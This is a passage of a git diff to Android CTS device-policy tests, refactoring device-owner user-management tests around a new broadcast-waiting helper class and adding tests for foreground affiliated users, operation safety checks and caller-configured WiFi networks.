-                new IntentFilter(BasicAdminReceiver.ACTION_USER_STARTED));
-
-        try {
-            // Start user in background and wait for onUserStarted
-            assertEquals(UserManager.USER_OPERATION_SUCCESS,
-                    mDevicePolicyManager.startUserInBackground(getWho(), userHandle));
-            assertEquals(userHandle, broadcastReceiver.waitForBroadcastReceived());
-        } finally {
-            localBroadcastManager.unregisterReceiver(broadcastReceiver);
-        }
+        assertWithMessage("user on broadcasts").that(usersOnBroadcasts).containsExactly(userHandle);
     }
 
-    public void testCreateAndManageUser_StartInBackground_MaxRunningUsers() {
-        String testUserName = "TestUser_" + System.currentTimeMillis();
-
-        UserHandle userHandle = mDevicePolicyManager.createAndManageUser(
-                getWho(),
-                testUserName,
-                getWho(),
-                null,
-                /* flags */ 0);
-        Log.d(TAG, "User create: " + userHandle);
+    public void testCreateAndManageUser_StartInBackground_MaxRunningUsers() throws Exception {
+        UserHandle userHandle = createAndManageUser();
 
         // Start user in background and should receive max running users error
-        assertEquals(UserManager.USER_OPERATION_ERROR_MAX_RUNNING_USERS,
-                mDevicePolicyManager.startUserInBackground(getWho(), userHandle));
+        startUserInBackgroundAndCheckResult(userHandle,
+                UserManager.USER_OPERATION_ERROR_MAX_RUNNING_USERS);
     }
 
     public void testCreateAndManageUser_StopUser() throws Exception {
-        LocalBroadcastManager localBroadcastManager = LocalBroadcastManager.getInstance(
-                getContext());
+        UserHandle userHandle = createAndManageUser();
+        startUserInBackgroundAndWaitForBroadcasts(userHandle);
 
-        String testUserName = "TestUser_" + System.currentTimeMillis();
+        List<UserHandle> usersOnBroadcasts = stopUserAndWaitForBroadcasts(userHandle);
 
-        UserHandle userHandle = mDevicePolicyManager.createAndManageUser(
-                getWho(),
-                testUserName,
-                getWho(),
-                null,
-                /* flags */ 0);
-        Log.d(TAG, "User create: " + userHandle);
-        assertEquals(UserManager.USER_OPERATION_SUCCESS,
-                mDevicePolicyManager.startUserInBackground(getWho(), userHandle));
-
-        LocalBroadcastReceiver broadcastReceiver = new LocalBroadcastReceiver();
-        localBroadcastManager.registerReceiver(broadcastReceiver,
-                new IntentFilter(BasicAdminReceiver.ACTION_USER_STOPPED));
-
-        try {
-            assertEquals(UserManager.USER_OPERATION_SUCCESS,
-                    mDevicePolicyManager.stopUser(getWho(), userHandle));
-            assertEquals(userHandle, broadcastReceiver.waitForBroadcastReceived());
-        } finally {
-            localBroadcastManager.unregisterReceiver(broadcastReceiver);
-        }
+        assertWithMessage("user on broadcasts").that(usersOnBroadcasts).containsExactly(userHandle);
     }
 
     public void testCreateAndManageUser_StopEphemeralUser_DisallowRemoveUser() throws Exception {
-        LocalBroadcastManager localBroadcastManager = LocalBroadcastManager.getInstance(
-                getContext());
-
-        String testUserName = "TestUser_" + System.currentTimeMillis();
-
         // Set DISALLOW_REMOVE_USER restriction
         mDevicePolicyManager.addUserRestriction(getWho(), UserManager.DISALLOW_REMOVE_USER);
 
-        UserHandle userHandle = mDevicePolicyManager.createAndManageUser(
-                getWho(),
-                testUserName,
-                getWho(),
-                null,
-                DevicePolicyManager.MAKE_USER_EPHEMERAL);
-        Log.d(TAG, "User create: " + userHandle);
-        assertEquals(UserManager.USER_OPERATION_SUCCESS,
-                mDevicePolicyManager.startUserInBackground(getWho(), userHandle));
+        UserHandle userHandle = createAndManageUser(DevicePolicyManager.MAKE_USER_EPHEMERAL);
+        startUserInBackgroundAndWaitForBroadcasts(userHandle);
+        UserActionCallback callback = UserActionCallback.getCallbackForBroadcastActions(
+                getContext(),
+                BasicAdminReceiver.ACTION_USER_STOPPED, BasicAdminReceiver.ACTION_USER_REMOVED);
 
-        LocalBroadcastReceiver broadcastReceiver = new LocalBroadcastReceiver();
-        localBroadcastManager.registerReceiver(broadcastReceiver,
-                new IntentFilter(BasicAdminReceiver.ACTION_USER_REMOVED));
+        callback.runAndUnregisterSelf(
+                () -> stopUserAndCheckResult(userHandle, UserManager.USER_OPERATION_SUCCESS));
 
-        try {
-            assertEquals(UserManager.USER_OPERATION_SUCCESS,
-                    mDevicePolicyManager.stopUser(getWho(), userHandle));
-            assertEquals(userHandle, broadcastReceiver.waitForBroadcastReceived());
-        } finally {
-            localBroadcastManager.unregisterReceiver(broadcastReceiver);
-            // Clear DISALLOW_REMOVE_USER restriction
-            mDevicePolicyManager.clearUserRestriction(getWho(), UserManager.DISALLOW_REMOVE_USER);
-        }
+        // It's running just one operation (which issues a ACTION_USER_STOPPED), but as the
+        // user is ephemeral, it will be automatically removed (which issues a
+        // ACTION_USER_REMOVED).
+        assertWithMessage("user on broadcasts").that(callback.getUsersOnReceivedBroadcasts())
+                .containsExactly(userHandle, userHandle);
     }
 
     @SuppressWarnings("unused")
     private static void logoutUser(Context context, DevicePolicyManager devicePolicyManager,
             ComponentName componentName) {
-        assertEquals("cannot logout user", UserManager.USER_OPERATION_SUCCESS,
-                devicePolicyManager.logoutUser(componentName));
+        assertUserOperationResult(devicePolicyManager.logoutUser(componentName),
+                UserManager.USER_OPERATION_SUCCESS, "cannot logout user");
     }
 
     public void testCreateAndManageUser_LogoutUser() throws Exception {
-        LocalBroadcastManager localBroadcastManager = LocalBroadcastManager.getInstance(
-                getContext());
+        UserActionCallback callback = UserActionCallback.getCallbackForBroadcastActions(
+                getContext(),
+                BasicAdminReceiver.ACTION_USER_STARTED, BasicAdminReceiver.ACTION_USER_STOPPED);
 
-        LocalBroadcastReceiver broadcastReceiver = new LocalBroadcastReceiver();
-        localBroadcastManager.registerReceiver(broadcastReceiver,
-                new IntentFilter(BasicAdminReceiver.ACTION_USER_STOPPED));
+        UserHandle userHandle = runCrossUserVerification(callback,
+                /* createAndManageUserFlags= */ 0, "logoutUser");
 
-        try {
-            UserHandle userHandle = runCrossUserVerification(
-                    /* createAndManageUserFlags */ 0, "logoutUser");
-            assertEquals(userHandle, broadcastReceiver.waitForBroadcastReceived());
-        } finally {
-            localBroadcastManager.unregisterReceiver(broadcastReceiver);
-        }
+        assertWithMessage("user on broadcasts").that(callback.getUsersOnReceivedBroadcasts())
+                .containsExactly(userHandle, userHandle);
     }
 
     @SuppressWarnings("unused")
     private static void assertAffiliatedUser(Context context,
             DevicePolicyManager devicePolicyManager, ComponentName componentName) {
-        assertTrue("not affiliated user", devicePolicyManager.isAffiliatedUser());
+        assertWithMessage("affiliated user").that(devicePolicyManager.isAffiliatedUser()).isTrue();
     }
 
     public void testCreateAndManageUser_Affiliated() throws Exception {
@@ -341,7 +214,8 @@
     @SuppressWarnings("unused")
     private static void assertEphemeralUser(Context context,
             DevicePolicyManager devicePolicyManager, ComponentName componentName) {
-        assertTrue("not ephemeral user", devicePolicyManager.isEphemeralUser(componentName));
+        assertWithMessage("ephemeral user").that(devicePolicyManager.isEphemeralUser(componentName))
+                .isTrue();
     }
 
     public void testCreateAndManageUser_Ephemeral() throws Exception {
@@ -377,7 +251,13 @@
         PrimaryUserService.assertCrossUserCallArrived();
     }
 
-    private UserHandle runCrossUserVerification(int createAndManageUserFlags, String methodName) {
+    private UserHandle runCrossUserVerification(int createAndManageUserFlags, String methodName)
+            throws Exception {
+        return runCrossUserVerification(/* callback= */ null, createAndManageUserFlags, methodName);
+    }
+
+    private UserHandle runCrossUserVerification(UserActionCallback callback,
+            int createAndManageUserFlags, String methodName) throws Exception {
         String testUserName = "TestUser_" + System.currentTimeMillis();
 
         // Set affiliation id to allow communication.
@@ -394,75 +274,161 @@
                 SecondaryUserAdminReceiver.getComponentName(getContext()),
                 bundle,
                 createAndManageUserFlags);
-        Log.d(TAG, "User create: " + userHandle);
-        assertEquals(UserManager.USER_OPERATION_SUCCESS,
-                mDevicePolicyManager.startUserInBackground(getWho(), userHandle));
-
+        Log.d(TAG, "User created: " + userHandle);
+        assertWithMessage("user with name %s", testUserName).that(userHandle).isNotNull();
+        if (callback != null) {
+            startUserInBackgroundAndWaitForBroadcasts(callback, userHandle);
+        } else {
+            startUserInBackgroundAndWaitForBroadcasts(userHandle);
+        }
         return userHandle;
     }
 
     // createAndManageUser should circumvent the DISALLOW_ADD_USER restriction
-    public void testCreateAndManageUser_AddRestrictionSet() {
+    public void testCreateAndManageUser_AddRestrictionSet() throws Exception {
         mDevicePolicyManager.addUserRestriction(getWho(), UserManager.DISALLOW_ADD_USER);
 
-        UserHandle userHandle = mDevicePolicyManager.createAndManageUser(getWho(), "Test User",
-                getWho(), null, 0);
-        assertNotNull(userHandle);
+        createAndManageUser();
     }
 
-    public void testCreateAndManageUser_RemoveRestrictionSet() {
+    public void testCreateAndManageUser_RemoveRestrictionSet() throws Exception {
         mDevicePolicyManager.addUserRestriction(getWho(), UserManager.DISALLOW_REMOVE_USER);
 
-        UserHandle userHandle = mDevicePolicyManager.createAndManageUser(getWho(), "Test User",
-                getWho(), null, 0);
-        assertNotNull(userHandle);
+        UserHandle userHandle = createAndManageUser();
 
-        boolean removed = mDevicePolicyManager.removeUser(getWho(), userHandle);
         // When the device owner itself has set the user restriction, it should still be allowed
         // to remove a user.
-        assertTrue(removed);
+        List<UserHandle> usersOnBroadcasts = removeUserAndWaitForBroadcasts(userHandle);
+
+        assertWithMessage("user on broadcasts").that(usersOnBroadcasts).containsExactly(userHandle);
     }
 
-    public void testUserAddedOrRemovedBroadcasts() throws InterruptedException {
-        LocalBroadcastReceiver receiver = new LocalBroadcastReceiver();
-        LocalBroadcastManager localBroadcastManager = LocalBroadcastManager.getInstance(
-                getContext());
-        localBroadcastManager.registerReceiver(receiver,
-                new IntentFilter(BasicAdminReceiver.ACTION_USER_ADDED));
-        UserHandle userHandle;
-        try {
-            userHandle = mDevicePolicyManager.createAndManageUser(getWho(), "Test User", getWho(),
-                    null, 0);
-            assertNotNull(userHandle);
-            assertEquals(userHandle, receiver.waitForBroadcastReceived());
-        } finally {
-            localBroadcastManager.unregisterReceiver(receiver);
-        }
-        localBroadcastManager.registerReceiver(receiver,
-                new IntentFilter(BasicAdminReceiver.ACTION_USER_REMOVED));
-        try {
-            assertTrue(mDevicePolicyManager.removeUser(getWho(), userHandle));
-            assertEquals(userHandle, receiver.waitForBroadcastReceived());
-        } finally {
-            localBroadcastManager.unregisterReceiver(receiver);
-        }
+    public void testUserAddedOrRemovedBroadcasts() throws Exception {
+        UserHandle userHandle = createAndManageUser();
+
+        List<UserHandle> userHandles = removeUserAndWaitForBroadcasts(userHandle);
+
+        assertWithMessage("user on broadcasts").that(userHandles).containsExactly(userHandle);
     }
 
-    static class LocalBroadcastReceiver extends BroadcastReceiver {
-        private LinkedBlockingQueue<UserHandle> mQueue = new LinkedBlockingQueue<>(1);
+    private UserHandle createAndManageUser() throws Exception {
+        return createAndManageUser(/* flags= */ 0);
+    }
 
-        @Override
-        public void onReceive(Context context, Intent intent) {
-            UserHandle userHandle = intent.getParcelableExtra(BasicAdminReceiver.EXTRA_USER_HANDLE);
-            Log.d(TAG, "broadcast receiver received " + intent + " with userHandle "
-                    + userHandle);
-            mQueue.offer(userHandle);
+    private UserHandle createAndManageUser(int flags) throws Exception {
+        String testUserName = "TestUser_" + System.currentTimeMillis();
 
-        }
+        UserActionCallback callback = UserActionCallback.getCallbackForBroadcastActions(
+                getContext(), BasicAdminReceiver.ACTION_USER_ADDED);
 
-        UserHandle waitForBroadcastReceived() throws InterruptedException {
-            return mQueue.poll(BROADCAST_TIMEOUT, TimeUnit.MILLISECONDS);
-        }
+        UserHandle userHandle = callback.callAndUnregisterSelf(() ->
+                mDevicePolicyManager.createAndManageUser(
+                        /* admin= */ getWho(),
+                        testUserName,
+                        /* profileOwner= */ getWho(),
+                        /* adminExtras= */ null,
+                        flags));
+        Log.d(TAG, "User '" + testUserName + "' created: " + userHandle);
+
+        return userHandle;
+    }
+
+    /**
+     * Switches to the given user, or fails if the user could not be switched or if the expected
+     * broadcasts were not received in time.
+     *
+     * @return users received in the broadcasts
+     */
+    private List<UserHandle> switchUserAndWaitForBroadcasts(UserHandle userHandle)
+            throws Exception {
+        Log.d(TAG, "Switching to user " + userHandle);
+
+        UserActionCallback callback = UserActionCallback.getCallbackForBroadcastActions(
+                getContext(),
+                BasicAdminReceiver.ACTION_USER_STARTED, BasicAdminReceiver.ACTION_USER_SWITCHED);
+
+        callback.runAndUnregisterSelf(() -> {
+            boolean switched = mDevicePolicyManager.switchUser(getWho(), userHandle);
+            assertWithMessage("switched to user %s", userHandle).that(switched).isTrue();
+        });
+        return callback.getUsersOnReceivedBroadcasts();
+    }
+
+    /**
+     * Removes the given user, or fails if the user could not be removed or if the expected
+     * broadcasts were not received in time.
+     *
+     * @return users received in the broadcasts
+     */
+    private List<UserHandle> removeUserAndWaitForBroadcasts(UserHandle userHandle)
+            throws Exception {
+        UserActionCallback callback = UserActionCallback.getCallbackForBroadcastActions(
+                getContext(), BasicAdminReceiver.ACTION_USER_REMOVED);
+
+        callback.runAndUnregisterSelf(() -> {
+            boolean removed = mDevicePolicyManager.removeUser(getWho(), userHandle);
+            assertWithMessage("removed user %s", userHandle).that(removed).isTrue();
+        });
+
+        return callback.getUsersOnReceivedBroadcasts();
+    }
+
+    private static String userOperationResultToString(int result) {
+        return DebugUtils.constantToString(UserManager.class, "USER_OPERATION_", result);
+    }
+
+    private static void assertUserOperationResult(int actualResult, int expectedResult,
+            String operationFormat, Object... operationArgs) {
+        String operation = String.format(operationFormat, operationArgs);
+        assertWithMessage("result for %s (%s instead of %s)", operation,
+                userOperationResultToString(actualResult),
+                userOperationResultToString(expectedResult))
+                        .that(actualResult).isEqualTo(expectedResult);
+    }
+
+    private void startUserInBackgroundAndCheckResult(UserHandle userHandle, int expectedResult) {
+        int actualResult = mDevicePolicyManager.startUserInBackground(getWho(), userHandle);
+        assertUserOperationResult(actualResult, expectedResult, "starting user %s in background",
+                userHandle);
+    }
+
+    /**
+     * Starts the given user in background, or fails if the user could not be started or if the
+     * expected broadcasts were not received in time.
+     *
+     * @return users received in the broadcasts
+     */
+    private List<UserHandle> startUserInBackgroundAndWaitForBroadcasts(UserHandle userHandle)
+            throws Exception {
+        UserActionCallback callback = UserActionCallback.getCallbackForBroadcastActions(
+                getContext(), BasicAdminReceiver.ACTION_USER_STARTED);
+        return startUserInBackgroundAndWaitForBroadcasts(callback, userHandle);
+    }
+
+    private List<UserHandle> startUserInBackgroundAndWaitForBroadcasts(UserActionCallback callback,
+            UserHandle userHandle) throws Exception {
+        callback.runAndUnregisterSelf(() -> startUserInBackgroundAndCheckResult(userHandle,
+                UserManager.USER_OPERATION_SUCCESS));
+        return callback.getUsersOnReceivedBroadcasts();
+    }
+
+    private void stopUserAndCheckResult(UserHandle userHandle, int expectedResult) {
+        int actualResult = mDevicePolicyManager.stopUser(getWho(), userHandle);
+        assertUserOperationResult(actualResult, expectedResult, "stopping user %s", userHandle);
+    }
+
+    /**
+     * Stops the given user, or fails if the user could not be stop or if the expected broadcasts
+     * were not received in time.
+     *
+     * @return users received in the broadcasts
+     */
+    private List<UserHandle> stopUserAndWaitForBroadcasts(UserHandle userHandle) throws Exception {
+        UserActionCallback callback = UserActionCallback.getCallbackForBroadcastActions(
+                getContext(), BasicAdminReceiver.ACTION_USER_STOPPED);
+        callback.runAndUnregisterSelf(
+                () -> stopUserAndCheckResult(userHandle, UserManager.USER_OPERATION_SUCCESS));
+        return callback.getUsersOnReceivedBroadcasts();
     }
 
     public static final class PrimaryUserService extends Service {
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DevicePolicySafetyCheckerIntegrationTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DevicePolicySafetyCheckerIntegrationTest.java
index 86ccea4..922745d 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DevicePolicySafetyCheckerIntegrationTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DevicePolicySafetyCheckerIntegrationTest.java
@@ -242,4 +242,25 @@
     public void testAllOperations() {
         mTester.testAllOperations(mDevicePolicyManager, getWho());
     }
+
+    /**
+     * Tests {@link DevicePolicyManager#isSafeOperation(int)}.
+     */
+    public void testIsSafeOperation() {
+        mTester.testIsSafeOperation(mDevicePolicyManager);
+    }
+
+    /**
+     * Tests {@link android.app.admin.UnsafeStateException} properties.
+     */
+    public void testUnsafeStateException() {
+        mTester.testUnsafeStateException(mDevicePolicyManager, getWho());
+    }
+
+    /**
+     * Tests {@link android.app.admin.DeviceAdminReceiver#onOperationSafetyStateChanged()}.
+     */
+    public void testOnOperationSafetyStateChanged() {
+        mTester.testOnOperationSafetyStateChanged(mContext, mDevicePolicyManager);
+    }
 }
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/HeadlessSystemUserTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/HeadlessSystemUserTest.java
index 10f0040..fff65d6 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/HeadlessSystemUserTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/HeadlessSystemUserTest.java
@@ -27,6 +27,7 @@
 import android.os.UserManager;
 import android.util.Log;
 
+//TODO(b/174859111): move to automotive specific module
 /**
  * Device owner tests specific for devices that use
  * {@link android.os.UserManager#isHeadlessSystemUserMode()}.
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/ListForegroundAffiliatedUsersTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/ListForegroundAffiliatedUsersTest.java
new file mode 100644
index 0000000..65d2261
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/ListForegroundAffiliatedUsersTest.java
@@ -0,0 +1,41 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.deviceowner;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.app.ActivityManager;
+import android.os.UserHandle;
+
+import java.util.List;
+
+public final class ListForegroundAffiliatedUsersTest extends BaseDeviceOwnerTest {
+
+    public void testListForegroundAffiliatedUsers_onlyForegroundUser() throws Exception {
+        List<UserHandle> users = mDevicePolicyManager.listForegroundAffiliatedUsers();
+
+        assertWithMessage("foreground users").that(users).hasSize(1);
+        UserHandle currentUser = users.get(0);
+        assertWithMessage("current foreground user").that(currentUser).isNotNull();
+        assertWithMessage("current foreground user id").that(currentUser.getIdentifier())
+                .isEqualTo(ActivityManager.getCurrentUser());
+    }
+
+    public void testListForegroundAffiliatedUsers_empty() throws Exception {
+        List<UserHandle> users = mDevicePolicyManager.listForegroundAffiliatedUsers();
+        assertWithMessage("foreground users").that(users).isEmpty();
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/PreDeviceOwnerTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/PreDeviceOwnerTest.java
index 139db12..450b996 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/PreDeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/PreDeviceOwnerTest.java
@@ -15,6 +15,8 @@
  */
 package com.android.cts.deviceowner;
 
+import static org.testng.Assert.assertThrows;
+
 import android.app.admin.DevicePolicyManager;
 import android.content.Context;
 import android.test.AndroidTestCase;
@@ -41,7 +43,8 @@
     }
 
     public void testIsProvisioningAllowedFalse() {
-        assertFalse(mDevicePolicyManager.isProvisioningAllowed(DevicePolicyManager.ACTION_PROVISION_MANAGED_DEVICE));
+        assertFalse(mDevicePolicyManager
+                .isProvisioningAllowed(DevicePolicyManager.ACTION_PROVISION_MANAGED_DEVICE));
     }
 
     public void testIsProvisioningNotAllowedForManagedProfileAction() {
@@ -49,4 +52,8 @@
                 .isProvisioningAllowed(DevicePolicyManager.ACTION_PROVISION_MANAGED_PROFILE));
     }
 
+    public void testListForegroundAffiliatedUsers_notDeviceOwner() throws Exception {
+        assertThrows(SecurityException.class,
+                () -> mDevicePolicyManager.listForegroundAffiliatedUsers());
+    }
 }
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/UserActionCallback.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/UserActionCallback.java
new file mode 100644
index 0000000..a11602d
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/UserActionCallback.java
@@ -0,0 +1,183 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.deviceowner;
+
+import static com.android.bedstead.dpmwrapper.TestAppHelper.registerTestCaseReceiver;
+import static com.android.bedstead.dpmwrapper.TestAppHelper.unregisterTestCaseReceiver;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.UserHandle;
+import android.util.Log;
+
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.List;
+import java.util.concurrent.Callable;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Helper class used to wait for user-related intents broadcast by {@link BasicAdminReceiver}.
+ *
+ */
+final class UserActionCallback {
+
+    private static final String TAG = UserActionCallback.class.getSimpleName();
+
+    private static final int BROADCAST_TIMEOUT = 300_000;
+
+    private final int mExpectedSize;
+    private final List<String> mExpectedActions;
+    private final List<String> mPendingActions;
+
+    private final List<UserHandle> mReceivedUsers = new ArrayList<>();
+    private final CountDownLatch mLatch;
+    private final Context mContext;
+
+    private final BroadcastReceiver mReceiver = new BroadcastReceiver() {
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            String action = intent.getAction();
+            if (intent.hasExtra(BasicAdminReceiver.EXTRA_USER_HANDLE)) {
+                UserHandle userHandle = intent
+                        .getParcelableExtra(BasicAdminReceiver.EXTRA_USER_HANDLE);
+                Log.d(TAG, "broadcast receiver received " + action + " with user " + userHandle);
+                mReceivedUsers.add(userHandle);
+            } else {
+                Log.e(TAG, "broadcast receiver received " + intent.getAction()
+                        + " WITHOUT " + BasicAdminReceiver.EXTRA_USER_HANDLE + " extra");
+            }
+            boolean removed = mPendingActions.remove(action);
+            if (!removed) {
+                Log.e(TAG, "Unexpected action " + action + "; what's left is " + mPendingActions);
+                return;
+            }
+            Log.d(TAG, "Counting down latch (current count is " + mLatch.getCount() + ")");
+            mLatch.countDown();
+        }
+    };
+
+    private UserActionCallback(Context context, String... actions) {
+        mContext = context;
+        mExpectedSize = actions.length;
+        mExpectedActions = new ArrayList<>(mExpectedSize);
+        mPendingActions = new ArrayList<>(mExpectedSize);
+        for (String action : actions) {
+            mExpectedActions.add(action);
+            mPendingActions.add(action);
+        }
+        mLatch = new CountDownLatch(mExpectedSize);
+    }
+
+    /**
+     * Creates a new {@link UserActionCallback} and registers it to receive user broadcasts in the
+     * given context.
+     *
+     * @param context context to register for.
+     * @param actions expected actions.
+     *
+     * @return a new {@link UserActionCallback}.
+     */
+    public static UserActionCallback getCallbackForBroadcastActions(Context context,
+            String... actions) {
+        UserActionCallback callback = new UserActionCallback(context, actions);
+
+        IntentFilter filter = new IntentFilter();
+        for (String action : actions) {
+            filter.addAction(action);
+        }
+
+        registerTestCaseReceiver(context, callback.mReceiver, filter);
+
+        return callback;
+    }
+
+    /**
+     * Runs the given operation, blocking until the broadcasts are received and automatically
+     * unregistering itself at the end.
+     *
+     * @param runnable operation to run.
+     *
+     * @return operation result.
+     */
+    public <V> V callAndUnregisterSelf(Callable<V> callable)
+            throws Exception {
+        try {
+            return callable.call();
+        } finally {
+            unregisterSelf();
+        }
+    }
+
+    /**
+     * Gets the list of {@link UserHandle} associated with the broadcasts received so far.
+     */
+    public List<UserHandle> getUsersOnReceivedBroadcasts() {
+        return Collections.unmodifiableList(new ArrayList<>(mReceivedUsers));
+    }
+
+    /**
+     * Runs the given operation, blocking until the broadcasts are received and automatically
+     * unregistering itself at the end.
+     *
+     * @param runnable operation to run.
+     *
+     * @return operation result.
+     */
+    public void runAndUnregisterSelf(ThrowingRunnable runnable) throws Exception {
+        try {
+            runnable.run();
+            waitForBroadcasts();
+        } finally {
+            unregisterSelf();
+        }
+    }
+
+    /**
+     * Unregister itself as a {@link BroadcastReceiver} for user events.
+     */
+    private void unregisterSelf() {
+        unregisterTestCaseReceiver(mContext, mReceiver);
+    }
+
+    /**
+     * Custom {@link Runnable} that throws an {@link Exception}.
+     */
+    interface ThrowingRunnable {
+        void run() throws Exception;
+    }
+
+    private void waitForBroadcasts() throws Exception {
+        Log.d(TAG, "Waiting up to " + BROADCAST_TIMEOUT + " to receive " + mExpectedSize
+                + " broadcasts");
+        boolean received = mLatch.await(BROADCAST_TIMEOUT, TimeUnit.MILLISECONDS);
+
+        try {
+            assertWithMessage("%s messages received in %s ms. Expected actions=%s, "
+                + "pending=%s", mExpectedSize, BROADCAST_TIMEOUT, mExpectedActions,
+                mPendingActions).that(received).isTrue();
+        } catch (Exception | Error e) {
+            Log.e(TAG, "waitForBroadcasts() failed: " + e);
+            throw e;
+        }
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/WifiNetworkConfigurationWithoutFineLocationPermissionTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/WifiNetworkConfigurationWithoutFineLocationPermissionTest.java
new file mode 100644
index 0000000..7230023
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/WifiNetworkConfigurationWithoutFineLocationPermissionTest.java
@@ -0,0 +1,66 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.deviceowner;
+
+
+import static com.android.compatibility.common.util.WifiConfigCreator.SECURITY_TYPE_NONE;
+
+import android.Manifest;
+import android.content.pm.PackageManager;
+import android.net.wifi.WifiConfiguration;
+import android.net.wifi.WifiManager;
+
+import com.android.compatibility.common.util.WifiConfigCreator;
+
+import java.util.List;
+
+public class WifiNetworkConfigurationWithoutFineLocationPermissionTest extends BaseDeviceOwnerTest {
+    private static final String TAG = "WifiNetworkConfigurationWithoutFineLocationPermissionTest";
+
+    // Unique SSID to use for this test (max SSID length is 32)
+    private static final String NETWORK_SSID = "com.android.cts.abcdefghijklmnop";
+    private static final int INVALID_NETWORK_ID = -1;
+
+    private WifiManager mWifiManager;
+    private WifiConfigCreator mWifiConfigCreator;
+
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+
+        mWifiConfigCreator = new WifiConfigCreator(getContext());
+        mWifiManager = getContext().getSystemService(WifiManager.class);
+    }
+
+    public void testAddAndRetrieveCallerConfiguredNetworks() throws Exception {
+        assertTrue("WiFi is not enabled", mWifiManager.isWifiEnabled());
+        assertEquals(PackageManager.PERMISSION_DENIED,
+                mContext.checkSelfPermission(Manifest.permission.ACCESS_FINE_LOCATION));
+
+        int netId = mWifiConfigCreator.addNetwork(NETWORK_SSID, /* hidden */ false,
+                SECURITY_TYPE_NONE, /* password */ null);
+        assertNotSame("Failed to add network", INVALID_NETWORK_ID, netId);
+
+        try {
+            List<WifiConfiguration> configs = mWifiManager.getCallerConfiguredNetworks();
+            assertEquals(1, configs.size());
+            assertEquals('"' + NETWORK_SSID + '"', configs.get(0).SSID);
+        } finally {
+            mWifiManager.removeNetwork(netId);
+        }
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/IntentReceiver/src/com/android/cts/intent/receiver/SimpleIntentReceiverActivity.java b/hostsidetests/devicepolicy/app/IntentReceiver/src/com/android/cts/intent/receiver/SimpleIntentReceiverActivity.java
index 0b6c1b7..5d36980 100644
--- a/hostsidetests/devicepolicy/app/IntentReceiver/src/com/android/cts/intent/receiver/SimpleIntentReceiverActivity.java
+++ b/hostsidetests/devicepolicy/app/IntentReceiver/src/com/android/cts/intent/receiver/SimpleIntentReceiverActivity.java
@@ -40,8 +40,8 @@
                 (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE);
         boolean inManagedProfile = dpm.isProfileOwnerApp("com.android.cts.managedprofile");
 
-        Log.i(TAG, "activity " + className + " started on user " + getUserId()
-                + ", is in managed profile: " + inManagedProfile);
+        Log.i(TAG, "activity " + className + " started, is in managed profile: "
+                + inManagedProfile);
         Intent result = new Intent();
         result.putExtra("extra_receiver_class", className);
